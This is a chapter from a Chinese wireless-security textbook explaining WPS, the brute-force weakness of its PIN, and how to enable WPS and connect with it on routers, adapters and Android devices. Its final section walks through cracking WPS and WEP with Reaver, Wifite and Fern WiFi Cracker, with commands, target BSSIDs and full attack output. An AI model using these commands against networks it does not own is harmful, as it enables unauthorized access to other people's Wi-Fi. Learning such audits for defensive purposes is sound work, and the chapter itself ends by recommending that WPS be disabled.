第7章 WPS加密模式

WPS(Wi-Fi Protected Setup,Wi-Fi保护设置)是由Wi-Fi联盟推出的全新Wi-Fi安全防护设定标准。该标准推出的主要原因是为了解决长久以来无线网络加密认证设定的步骤过于繁杂之弊病,使用者往往会因为步骤太过麻烦,以致干脆不做任何加密安全设定,因而引发许多安全上的问题。本章将介绍WPS加密模式。

7.1 WPS简介

WPS在有些路由器中叫做QSS(如TP-LINK)。它的主要功能就是简化了无线网络设置及无线网络加密等工作。下面将详细介绍WPS。

7.1.1 什么是WPS加密

WPS加密就是使客户端连接WiFi网络时,此连接过程变得非常简单。用户只需按一下无线路由器上的WPS键,或者输入一个PIN码,就能快速的完成无线网络连接,并获得WPA2级加密的无线网络。WPS支持两种模式,分别是个人识别码(PIN,Pin Input Configuration)模式和按钮(PBC,Push Button Configuration)模式。后面将会介绍如何使用这两种模式。

7.1.2 WPS工作原理

用户可以将WPS认证产品的配置及安全机制,可以想象成“锁”和“钥匙”。该标准自动使用注册表为即将加入网络的设备分发证书。用户将新设备加入WLAN的操作可被当做将钥匙插入锁的过程,即启动配置过程并输入PIN码或按PBC按钮。此时,WPS启动设备与注册表之间的信息交换进程,并由注册表发放授权设备,加入WLAN的网络证书(网络名称及安全密钥)。

随后,新设备通过网络在不受入侵者干扰的情况下进行安全的数据通信,这就好像是在锁中转动钥匙。信息及网络证书通过扩展认证协议(EAP)在空中安全交换,该协议是WPA2使用的认证协议之一。此时系统将启动信号交换进程,设备完成相互认证,客户端设备即被连入网络。注册表则通过传输网络名(SSID)及WPA2“预共享密钥(PSK)”启动安全机制。由于网络名称及PSK由系统自动分发,证书交换过程几乎不需用户干预。WLAN安全设置的锁就这样被轻松打开了。

7.1.3 WPS的漏洞

WPS的设置虽然给用户带来了很大的方便,但是安全方面存在一定的问题。这是由于PIN码验证机制的弱点导致的网络的不安全。PIN码是有8位十进制数构成,最后一位(第8位)为校验位(可根据前7位算出)。验证时先检测前4位,如果一致则反馈一个信息,所以只需一万次就可完全扫描一遍前4位,pin时速度最快为2s/pin。当前4位确定后,只需再试1000次可破解出接下来的3位),校验位可通过前7位算出。这样,即可暴力破解出PIN码。

7.1.4 WPS的优点和缺点

通过前面对WPS的详细介绍,可知该功能有优点,也有缺点。下面将具体介绍该功能的优点和缺点。

1.优点

image  WPS能够在网络中为接入点及WPS客户端设备自动配置网络名(SSID)及WPA安全密钥。

image  当连接WPS设备时,用户没有必要去了解SSID和安全密钥等概念。

image  用户的安全密钥不可能被外人破解,因为它是随机产生的。

image  用户不必输入预知的密码段或冗长的十六进制字符串。

image  信息及网络证书通过扩展认证协议(EAP)在空中进行安全交换,该协议是WPA2使用的认证协议之一。

image  WPS支持Windows Vista操作系统。

2.缺点

image  WPS不支持设备不依靠AP而直接通信的Ad hoc网络。

image  网络中所有的Wi-Fi设备必须通过WPS认证或与WPS兼容,否则将不能利用WPS简化网络安全配置工作。

image  由于WPS中的十六进制字符串是随机产生的,所以很难在WPS网络中添加一个非WPS的客户端设备。

image  WPS是一项新的认证技术,所以并非所有厂商都支持。

7.2 设置WPS

如果要进行WPS加密破解,则首先需要确定AP是否支持WPS,并且该AP是否已开启该功能。目前,大部分路由器都支持WPS功能。如果要是有WPS方式连接WiFi网络,则无线网卡也需要支持WPS功能。本节将介绍开启WPS功能及使用WPS方式连接WiFi网络的方法。

7.2.1 开启WPS功能

在设置WPS之前,首先要确定在AP上已经开启该功能。WPS功能在某些AP上叫做WPS,在某些设备上叫做QSS。下面将以TP-LINK路由器(AP)为例,介绍开启WPS功能的方法。

【实例7-1】 在TP-LINK路由器上开启WPS功能。具体操作步骤如下所述:

(1)登录路由器。本例中该路由器的IP地址是192.168.2.1,登录的用户名和密码都是admin。

(2)登录成功后,在打开界面的左侧有一个菜单栏。在左侧的菜单栏中选择“QSS安全设置”命令,将显示如图7.1所示的界面。

image

图7.1 QSS安全设置

(3)从该界面可以看到,当前路由器的QSS功能是关闭的。此时在该界面单击“启用QSS”按钮,将弹出如图7.2所示的界面。

image

图7.2 注意对话框

(4)该界面显示的信息,提示用户需要重新启动路由器才可使配置生效。这里单击“OK”按钮,将显示如图7.3所示的界面。

image

图7.3 重启使配置生效

(5)在该界面可以看到有一行红色的字,要求重启路由器。这里单击“重启”链接,将显示如图7.4所示的界面。

image

图7.4 重启路由器

(6)在该界面单击“重启路由器”按钮,将弹出如图7.5所示的界面。

image

图7.5 确认重启路由器

(7)该界面提示用户确认是否重新启动路由器。这里单击OK按钮,将显示如图7.6所示的界面。如果用户还需要设置其他配置,可以单击Cancel按钮取消重启路由器。

image

图7.6 正在重新启动路由器

(8)从该界面可以看到,正在重新启动路由器,并且以百分比的形式显示了启动的进度。当该路由器重新启动完成,前面的配置即生效。也就是说,当前路由器的WPS功能已开启,如图7.7所示。

image

图7.7 开启WPS功能

(9)从该界面可以看到WPS(QSS)功能已经开启了。

7.2.2 在无线网卡上设置WPS加密

用户要在无线网卡上设置WPS加密,则需要先确定该无线网卡是否支持WPS加密。通常支持802.11 n模式的无线网卡,都支持WPS功能。并且在某些USB无线网卡上,直接自带了QSS按钮功能(如TP-LINK TL-WN727N)。本节将介绍如何在无线网卡上设置WPS加密。

下面以芯片为3070的USB无线网卡为例,介绍设置WPS加密的方法。不管使用哪种无线网卡设置WPS加密,都需要在当前系统中安装该网卡的驱动,然后才可以进行设置。这里介绍下安装芯片3070的无线网卡驱动。具体操作步骤如下所述。

(1)下载无线网卡3070驱动,其驱动名为RT3070L.exe。

(2)开始安装驱动。双击下载好的驱动文件,将显示如图7.8所示的界面。

image

图7.8 许可证协议

(3)该界面显示了安装RT3070L.exe驱动文件的许可证协议信息,这里选择“我接受许可证协议中的条款”复选框。然后单击“下一步”按钮,将显示如图7.9所示的界面。

image

图7.9 安装类型

(4)在该界面选择安装类型,这里选择默认的“安装驱动程序与Ralink无线网络设定程序”类型。然后单击“下一步”按钮,将显示如图7.10所示的界面。

image

图7.10 开始安装驱动

(5)此时将开始安装驱动文件,要注意该界面的注意信息。如果当前系统中安装有杀毒软件,该驱动可能安装不完全,建议在安装该驱动文件时先将杀毒软件关闭。然后单击“安装”按钮,将显示如图7.11所示的界面。

image

图7.11 安装驱动

(6)从该界面可以看到,此时正在安装驱动文件,并显示有进度条。当安装完成后,将显示如图7.12所示的界面。

image

图7.12 安装完成

(7)从该界面可以看到,该驱动已经安装完成。此时单击“完成”按钮,退出安装程序。这时候将在电脑右下角任务栏会出现一个image 驱动图标,表明驱动安装成功。

注意: 在某些操作系统中,将网卡插入后会自动安装该驱动。如果默认安装的话,同样在任务栏会出现image 驱动图标。用户可以直接单击该图标进行设置。

通过以上的步骤无线网卡的驱动就安装完成了,接下来设置WPS加密方式,使网卡接入到WiFi网络。设置WPS加密可以使用PIN码和按钮两种方法,下面分别介绍这两种方法的使用。首先介绍使用PIN码的方法连接到WiFi网络,具体操作步骤如下所述。

(1)双击image 驱动图标,将出现如图7.13所示的界面。

image

图7.13 Ralink设置界面

(2)在该界面单击第三个图标image (连线设定),将打开连线设定列表界面,如图7.14所示。

image

图7.14 连线设定列表

(3)在该界面单击image (新增WPS连线设定)图标,将打开如图7.15所示的界面。

image

图7.15 选择连接方式

(4)在该界面显示了WPS的两种连接方式,这里选择PIN连线设定方式,并且选择连接的AP,如图7.15所示。设置完后,单击image (下一步)按钮,将显示如图7.16所示的界面。

image

图7.16 选择连线设定模式

(5)在该界面选择连线设定模式。该驱动默认支持“登录者”或“受理注册机构”两种模式。当使用“登录者”模式时,可以单击“更新8码”按钮来重新产生一组PIN码;如果使用“受理注册机构”时,会要求输入一组PIN码。这里选择“受理注册机构”,从该界面可以看到有一组PIN码。此时,记住这里产生的PIN码,该PIN码需要在路由器中输入。然后单击image (下一步)按钮,将显示如图7.17所示的界面。

image

图7.17 连线设置

(6)该界面将开始连接WiFi网络。但是,在连接之前需要先将该网卡的PIN码添加到路由器中才可连接。所以,此时在路由器的QSS安全设置界面单击“添加设备”按钮,将显示如图7.18所示的界面。

image

图7.18 输入添加设备的PIN码

(7)在该界面输入获取到的无线网卡的PIN码。然后单击“连接”按钮,将显示如图7.19所示的界面。

image

图7.19 正在连接设备

(8)从该界面可以看到,路由器正在连接输入的PIN码的设备。此时,返回到图7.17界面单击“开始PIN”与AP建立连接。该连接过程大概需要两分钟。当建立连接成功后,路由器和Ralink分别显示如图7.20和图7.21所示的界面。

image

图7.20 添加设备成功

image

图7.21 连线设定列表

(9)从该界面可以看到,成功连接了网络名称为Test的WiFi网络,并且可以看到连接到AP的详细信息,如验证方法和加密方法等。在Ralink的启动界面可以看到,主机获取到的IP地址、子网掩码、频道及传输速度等,如图7.22所示。

image

图7.22 客户端获取到的信息

(10)从该界面可以看到当前主机获取到的详细信息,并且从左侧的图标也可以看到,当前网络为加密状态,无线信号也连接正常。

以上步骤就是使用WPS的PIN码连接WiFi网络的方法。接下来,介绍如何使用按钮方式连接到WiFi网络。具体操作步骤如下所述。

(1)双击image 驱动图标打开Ralink设置界面,如图7.23所示。

image

图7.23 Ralink设置界面

(2)在该界面单击image (新增WPS连线设定)图标,将打开如图7.24所示的界面。

image

图7.24 连线设定列表

(3)在该界面单击image (新增WPS连线设定)图标,将打开如图7.25所示的界面。

image

图7.25 选择连接方式

(4)在该界面选择“PBC连线设定方式”复选框,然后单击image (下一步)按钮,将显示如图7.26所示的界面。

image

图7.26 连线设置

(5)在该界面单击“开始PIN”按钮,将开始连接WiFi网络,如图7.27所示。

image

图7.27 连接AP

(6)此时,按路由器上的QSS/RESET按钮,如图7.28所示。

image

图7.28 按路由器上的QSS按钮

(7)按一下路由器上的QSS/RESET按钮后,返回到Ralink连线设定界面。如果无线网卡成功连接到WiFi网络,将看到如图7.29所示的界面。

image

图7.29 成功连接到WiFi网络

7.2.3 在移动客户端上设置WPS加密

在上一小节介绍了在无线网卡上设置WPS加密的方法。但是,通常人们会使用一些移动设备连接WiFi网络,如手机和平板电脑等。下面将介绍在移动客户端上设置WPS加密的方法。

目前,大部分Android操作系统的手机客户端都支持WPS功能。但是,不同型号的客户端的设置方法可能不同。下面分别以小米手机和原道平板电脑客户端为例,介绍设置WPS加密的方法。

1.在小米手机上设置WPS加密

【实例7-2】 在小米手机客户端设置WPS加密,并且使用输入PIN码方法连接到WiFi网络。具体操作步骤如下所述。

(1)打开手机的WLAN设置,将显示如图7.30所示的界面。

image

图7.30 WLAN设置界面

(2)在该界面可以看到搜索到的所有无线信号,这些无线信号需要输入WiFi的加密密码才能连接到网络。这里是使用WPS的方式进行连接,所以选择“高级设置”选项,将显示如图7.31所示的界面。

image

图7.31 高级WLAN设置

(3)该界面显示了高级WLAN的设置项,在该界面底部可以看到有一个“快速安全连接”选项。在快速安全连接下面有两种方法可以快速连接到WiFi网络。其中“连接WPS”选项,是使用按钮方式连接到WiFi网络;“WPS PIN输入”选项是使用PIN码输入方式连接到WiFi网络。这里先介绍使用PIN码输入方法,选择“WPS PIN输入”选项,单击该选项后,将显示如图7.32所示的界面。

image

图7.32 连接WPS

(4)在该界面可以看到,该手机客户端网卡的PIN码是76573224。此时登录到路由器,并且在路由器的QSS安全设置选项中添加该设备的PIN码。添加该PIN码后,显示界面如图7.33所示。

image

图7.33 添加设备的PIN码

(5)在该界面添加手机客户端的PIN码后,单击“连接”按钮。当手机客户端成功连接该WiFi网络后,将显示如图7.34所示的界面。

image

图7.34 成功连接到Test网络

(6)从该界面可以看到,该手机客户端已经成功连接到WLAN网络Test,并且在手机的右上角可以看到WiFi网络的信号强度。此时,单击“确定”按钮,即可正常访问Internet。

以上是使用输入PIN码连接WiFi网络的方法。如果用户使用按钮方法连接WiFi网络,可以在手机客户端选择“连接WPS”选项,如图7.35所示。在该界面选择“连接WPS”选项后,将显示如图7.36所示的界面。

image

图7.35 高级WLAN设置界面

image

图7.36 连接WPS

在该界面可以看到,正在连接开启WPS的WiFi网络,此时按路由器上的QSS/RESET按钮,客户端将成功连接到网络。连接成功后,将显示如图7.37所示的界面。

image

图7.37 成功连接到WiFi网络

从该界面显示的信息中可以看到,已成功连接到Test的WiFi网络。

2.在平板电脑上设置WPS加密

下面以原道平板电脑为例,介绍设置WPS加密的方法。这里首先介绍使用WPS的输入PIN码模式连接到WiFi网络的方法。具体操作步骤如下所述。

(1)在平板电脑中打开“设置”选项,并启用“无线和网络”选项,将显示如图7.38所示的界面。

image

图7.38 设置界面

(2)在该界面单击image 选项,将弹出一个菜单栏,如图7.39所示。

image

图7.39 菜单栏

(3)在该界面可以看到,有一个“WPS PIN输入”选项,该选项就是用来使用PIN码连接WiFi网络的。单击“WPS PIN输入”选项后,将显示如图7.40所示的界面。

image

图7.40 平板电脑上网卡的PIN码

(4)从该界面可以看到,该平板电脑获取到的PIN码是09098060。这时候在路由器的QSS安全设置界面,添加该PIN码值(添加PIN码的方法在前面有详细介绍)。然后单击路由器上的“连接”按钮,当客户端连接成功后,将显示如图7.41所示的界面。

image

图7.41 成功连接到WiFi网络

(5)从该界面可以看到,该客户端已成功连接到WiFi网络Test。

在该平板电脑上也可以使用按钮的方式连接到WiFi网络。下面将介绍使用按钮方式连接到WiFi网络的方法,具体步骤如下所述。

(1)打开“设置”界面,并启动“无线和网络”选项,如图7.42所示。

image

图7.42 设置界面

(2)在该界面单击image 图标,将显示如图7.43所示的界面。

image

图7.43 正在连接WiFi网络

(3)从该界面可以看到,当前客户端正在连接WiFi网络。在客户端连接的过程中,按路由器上的QSS/RESET按钮,如图7.44所示。

image

图7.44 按路由器上的QSS/RESET按钮

(4)当客户端连接成功后,将显示如图7.45所示的界面。

image

图7.45 成功连接到WiFi网络

(5)从该界面可以看到,客户端已经成功连接到WiFi网络。

7.3 破解WPS加密

前面对WPS的概念及设置进行了详细介绍。通过前面的学习可以知道,使用WPS加密存在漏洞。所以,用户可以利用该漏洞实施攻击。在Kali Linux操作系统中,自带可以破解WPS加密的工具。如Reaver、Wifite和Fern WiFi Cracker等。本节将介绍使用这几个工具进行WPS加密破解的方法。

7.3.1 使用Reaver工具

Reaver是一个暴力破解WPS加密的工具。该工具通过暴力破解,尝试一系列AP的PIN码。该破解过程将需要一段时间,当正确破解出PIN码值后,还可以恢复WPA/WPS2密码。下面将介绍使用Reaver工具破解WPS加密的方法。

在使用Reaver工具之前,首先介绍该工具的语法格式,如下所示。

reaver -i <interface> -b <target bssid> -vv

以上语法中几个参数的含义如下所示。

image  -i:指定监听模式接口。

image  -b:指定目标AP的BSSID。

image  -vv:显示更多的详细信息。

该工具还有几个常用选项,下面对它们的含义进行简单地介绍。如下所示。

image  -c:指定接口工作的信道。

image  -e:指定目标AP的ESSID。

image  -p:指定WPS使用的PIN码。

image  -q:仅显示至关重要的信息。

如果用户知道AP的PIN码时,就可以使用-p选项来指定PIN码,快速的进行破解。但是,在使用Reaver工具之前,必须要将无线网卡设置为监听模式。

【实例7-3】 本例中的PIN码是04588306。所以,用户可以实现秒破。执行命令如下所示。

root@kali:~# reaver -i mon0 -b 8C:21:0A:44:09:F8 -p 04588306

执行以上命令后可以发现,一秒的时间即可破解AP的密码。输出的信息如下所示。

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from 8C:21:0A:44:09:F8
[+] Associated with 8C:21:0A:44:09:F8 (ESSID: Test)
[+] WPS PIN: '04588306'
[+] WPA PSK: 'daxueba!'
[+] AP SSID: 'Test'

从输出的信息中可以看到,破解出AP的密码为daxueba!,AP的SSID号为Test。

如果用户不知道PIN码的话,暴力破解就需要很长的时间。Reaver利用的就是PIN码的缺陷,只要用户有足够的时间,就能够破解出WPA或WPA2的密码。当用户不指定AP的PIN码值时,可以执行如下命令进行暴力破解。如下所示。

root@kali:~# reaver -i mon0 -b 8C:21:0A:44:09:F8 -vv

执行以上命令后,将输出如下所示的信息。

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[?] Restore previous session for 8C:21:0A:44:09:F8? [n/Y] y                     #恢复之前的会话

以上信息提示是否要恢复之前的会话,这是因为在前面已经运行过该命令。这里输入y,将进行暴力破解。如下所示。

[+] Restored previous session
[+] Waiting for beacon from 8C:21:0A:44:09:F8
[+] Switching mon0 to channel 1
[+] Associated with 8C:21:0A:44:09:F8 (ESSID: Test)
[+] Trying pin 66665670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 88885674
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 99995676
......
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 04580027
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
......
[+] Trying pin 04580027
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] 91.02% complete @ 2014-11-29 15:51:24 (5 seconds/pin)

以上就是暴力破解的过程,在该过程中Reaver尝试发送一系列的PIN码。当发送的PIN码值正确时,也就表明成功破解出了密码。破解成功后,显示的信息如下所示。

[+] 100% complete @ 2014-11-29 20:10:36 (14 seconds/pin)
[+] Trying pin 04588306
[+] Key cracked in 4954 seconds
[+] WPS PIN: '04588306'
[+] WPA PSK: 'daxueba!'
[+] AP SSID: 'Test'

从输出的信息中可以看到,成功破解出了WiFi的密码(PSK码)和PIN码。如果用户修改了该AP的密码,只要WPS功能开启,使用该PIN码可以再次破解出AP的密码。

注意: Reaver工具并不是在所有的路由器中都能顺利破解(如不支持WPS和WPS关闭等),并且破解的路由器需要有一个较强的信号,否则Reaver很难正常工作,可能会出现一些意想不到的问题。整个过程中,Reaver可能有时会出现超时,PIN码死循环等问题。一般都不用管它们,只要保持电脑尽量靠近路由器,Reaver最终会自行处理这些问题。

除此之外,用户可以在Reaver运行的任意时候按Ctrl+C快捷键终止工作。这样Reaver会退出程序,但是Reaver下次启动的时候会自动恢复并继续之前的工作,前提是你没有关闭或重新启动电脑。

7.3.2 使用Wifite工具

Wifite是一款自动化WEP和WPA破解工具,它不支持Windows和OS X操作系统。Wifite的特点是可以同时攻击多个采用WEP和WPA加密的网络。Wifite只需要简单的配置即可自动运行,中间无需手动操作。目前,该工具支持任何Linux发行版。下面将介绍使用Wifite工具破解WPS加密的方法。

Wifite工具在Kali Linux操作系统中已被默认安装。下面可以直接使用该工具,它的语法格式如下所示。

wifite [选项]

常用选项含义如下所述。

image  -i:指定捕获的无线接口。

image  -c:指定目标AP使用的信道。

image  -dict <file>:指定一个用于破解密码的字典。

image  -e:指定目标AP的SSID名称。

image  -b:指定目标AP的BSSID值。

image  -wpa:仅扫描WPA加密的网络。

image  -wep:仅扫描WEP加密的网络。

image  -pps:指定每秒注入的包数。

image  -wps:仅扫描WPS加密的网络。

【实例7-4】 使用Wifite工具破解WPS加密的无线网络。具体操作步骤如下所述。

(1)启动Wifite工具。执行命令如下所述。

root@localhost:~# wifite -pps 660
  .;'                     `;,
 .;'  ,;'             `;,  `;,   WiFite v2 (r85)
.;'  ,;'  ,;'     `;,  `;,  `;,
::   ::   :   ( )   :   ::   ::  automated wireless auditor
':.  ':.  ':. /_\ ,:'  ,:'  ,:'
 ':.  ':.    /___\    ,:'  ,:'   designed for Linux
  ':.       /_____\      ,:'
           /       \
 [+] packets-per-second rate set to 660 packets/sec
 [+] scanning for wireless devices...
 [+] initializing scan (mon0), updates at 5 sec intervals, CTRL+C when ready.
 [0:00:04] scanning wireless networks. 0 targets and 0 clients found

以上输出信息显示了Wifite工具的版本信息,支持平台,以及扫描到的无线网络等信息。当扫描到自己想要破解的无线网络时,按Ctrl+C快捷键停止扫描。扫描到的无线网络信息,如下所示。

[+] scanning (mon0), updates at 5 sec intervals, CTRL+C when ready.
   NUM ESSID                    CH      ENCR            POWER   WPS?     CLIENT
   --- --------------------    ------   --------   ---------   --------   ----------
    1  Test                     1       WPA2            77db    wps     client
    2  Test1                    6       WEP             73db    wps     client
    3  yzty                     6       WPA2            66db    wps
    4  TP-LINK_D7118A           6       WPA2            58db    wps     clients
    5  CMCC-AUTO                1       WPA2            49db    no
    6  CMCC-AUTO                11      WPA2            48db    no
    7  CMCC-AUTO                11      WPA2            47db    no
    8  X_S                      1       WPA2            47db    wps
    9  CMCC-AUTO                6       WPA2            46db    no
   10  TP-LINK_1C20FA           6       WPA2            45db    wps
   11  CMCC-AUTO                6       WPA2            44db    no
   12  xiangr                   9       WPA2            42db    no
   13  zhanghu                  11      WPA2            41db    wps
   14  Tenda_0A4940             7       WPA             41db    no
 [0:00:24] scanning wireless networks. 14 targets and 5 clients found

从以上输出的信息中可以看到,目前已经扫描到14个无线网络并且可以看到网络的ESSID、工作的信道、加密方式、是否支持WPS及连接的客户端等信息。

(2)按Ctrl+C快捷键停止扫描网络后,将显示如下信息:

NUM ESSID                       CH      ENCR     POWER    WPS?          LIENT
   --- --------------------    ----  -----   ----------  ------     ----------
    1  Test1                    6       WEP     45db    wps             client
    2  yzty                     6       WPA2    75db    wps             client
    3  TP-LINK_D7118A           6       WPA2    -13db   wps             clients
    4  CMCC-AUTO                11      WPA2    50db    no
    5  CMCC-AUTO                1       WPA2    50db    no
    6  CMCC-AUTO                11      WPA2    47db    no
    7  CMCC-AUTO                6       WPA2    47db    no
    8  X_S                      1       WPA2    47db    wps
    9  (5A:46:08:C3:99:D3)      6       WPA2    45db    no
   10  TP-LINK_1C20FA           6       WPA2    45db    wps
   11  Test                     1       WPA2    85db    wps             clients
   12  CMCC-AUTO                6       WPA2    44db    no
   13  CMCC-AUTO                11      WPA2    43db    no
   14  zhanghu                  11      WPA2    41db    wps
   15  xiangr                   9       WPA2    41db    no
   16  Tenda_0A4940             7       WPA     40db    no
 [+] select target numbers (1-16) separated by commas, or 'all':

从以上信息中可以看到,当前无线网卡扫描到16个AP。以上信息中共显示了7列,每列分别表示AP的编号、ESSID号、信道、加密方式、信号强度、是否开启WPS,以及连接的客户端。其中,POWER列值的绝对值越小,信号越强。

(3)此时,要求选择攻击的AP。从以上信息中可以看到,搜索到的无线AP中Test1是使用WEP加密的,并且开启了WPS功能。所以,为了能快速地破解出密码,这里选择第一个AP,输入编号1,将显示如下所示的信息:

[+] select target numbers (1-16) separated by commas, or 'all': 1
[+] 1 target selected.
 [0:10:00] preparing attack "Test1" (14:E6:E4:84:23:7A)
 [0:10:00] attempting fake authentication (1/5)...  success!
 [0:10:00] attacking "Test1" via arp-replay attack
 [0:09:30] started cracking (over 10000 ivs)
 [0:09:24] captured 16513 ivs @ 892 iv/sec
 [0:09:24] cracked Test1 (14:E6:E4:84:23:7A)! key: "3132333435"
 [+] 1 attack completed:
 [+] 1/1 WEP attacks succeeded
        cracked Test1 (14:E6:E4:84:23:7A), key: "3132333435"

 [+] disabling monitor mode on mon0... done
 [+] quitting

从以上输出的信息中可以看到,已成功破解出了Test1WiFi网络的加密密码为3132333435。该值是ASCII码值的十六进制,将这个值转换为ASCII码值后,结果是12345。

7.3.3 使用Fern WiFi Cracker工具

Fern WiFi Cracket是一种无线安全审计和攻击软件编写的程序,使用的是Python编程语言和Python的Qt图形界面库。该工具可以破解并恢复出WEP、WPA和WPS键的无线网络密码。下面将介绍使用Fern WiFi Cracker工具破解WPS加密的方法。

【实例7-5】 使用Fern WiFi Cracker工具破解WPS加密的WiFi网络。具体操作步骤如下所述

(1)启动Fern WiFi Cracker工具。执行命令如下所示。

root@kali:~# fern-wifi-cracker

执行以上命令后,将显示如图7.46所示的界面。

image

图7.46 Fern WiFi Cracker主界面

(2)在该界面选择无线网络接口,并单击Scan for Access Points图标扫描无线网络,如图7.47所示。

image

图7.47 设置提示对话框

(3)该界面显示了扫描技巧设置信息。在这里单击OK按钮,将显示如图7.48所示的界面。如果用户不想在下次启动Fern WiFi Cracker工具时,再次弹出该对话框的话,可以在该界面勾选Don't show this message again的复选框。

image

图7.48 扫描无线网络

(4)在该界面可以看到扫描到的使用WEP和WPA加密的所有WiFi网络。用户可以选择任何一个WiFi网络进行破解。这里选择WEP加密的,所以单击WiFi WEP图标,将显示如图7.49所示的界面。

image

图7.49 选择攻击目标

(5)从该界面可以看到,只有一个Test1无线网络,并且该网络支持WPS功能。所以,用户可以选择WPS攻击方法来破解出网络的密码。

(6)在该界面选择攻击目标Test1,并单击RegularAttack按钮。然后选择Automate复选框,并单击WiFi Attack按钮开始暴力破解,如图7.50所示。

image

图7.50 正在破解

(7)从该界面可以看到,正在进行破解密码。在该界面以百分比的形式显示破解的进度,当破解成功后将会在进度条框下显示破解出的密码。但是此过程的时间相当长,需要用户耐心的等待。

注意: 通过使用以上工具破解WPS加密,可以发现使用该加密方式是非常不安全的。所以,为了使自身的无线网络安全,最好将WPS功能禁用,手动设置WPA2加密。